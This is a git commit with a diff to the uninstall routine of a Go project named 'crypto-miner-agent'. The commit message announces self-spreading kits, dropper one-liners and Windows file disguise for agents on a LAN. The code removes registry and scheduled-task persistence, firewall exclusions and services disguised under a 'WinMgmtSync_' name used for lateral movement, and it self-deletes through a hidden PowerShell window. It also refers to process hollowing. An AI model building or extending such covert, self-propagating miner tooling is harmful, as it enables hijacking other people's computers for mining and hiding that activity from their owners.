Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -3,61 +3,46 @@ package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
// Uninstall removes persistence, stops the process, and deletes the install directory.
func Uninstall(cfg config.RuntimeConfig) error {
processName := cfg.EffectiveProcessName()
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
installedExe := filepath.Join(installDir, processName+".exe")
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
installedBin, err := InstalledBinaryPath(cfg)
if err != nil {
return err
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
killWorkerProcess(cfg)
removePersistence(cfg)
RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
selfUninstallSpawn(installDir)
os.Exit(0)
}
if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err)
}
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0)
return nil
}
// EnsureFirewallExclusion is implemented per platform.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
if !cfg.FirewallExclusion {
return
}
platformEnsureFirewall(cfg, binPath)
}
// RemoveFirewallExclusion is implemented per platform.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
platformRemoveFirewall(cfg)
}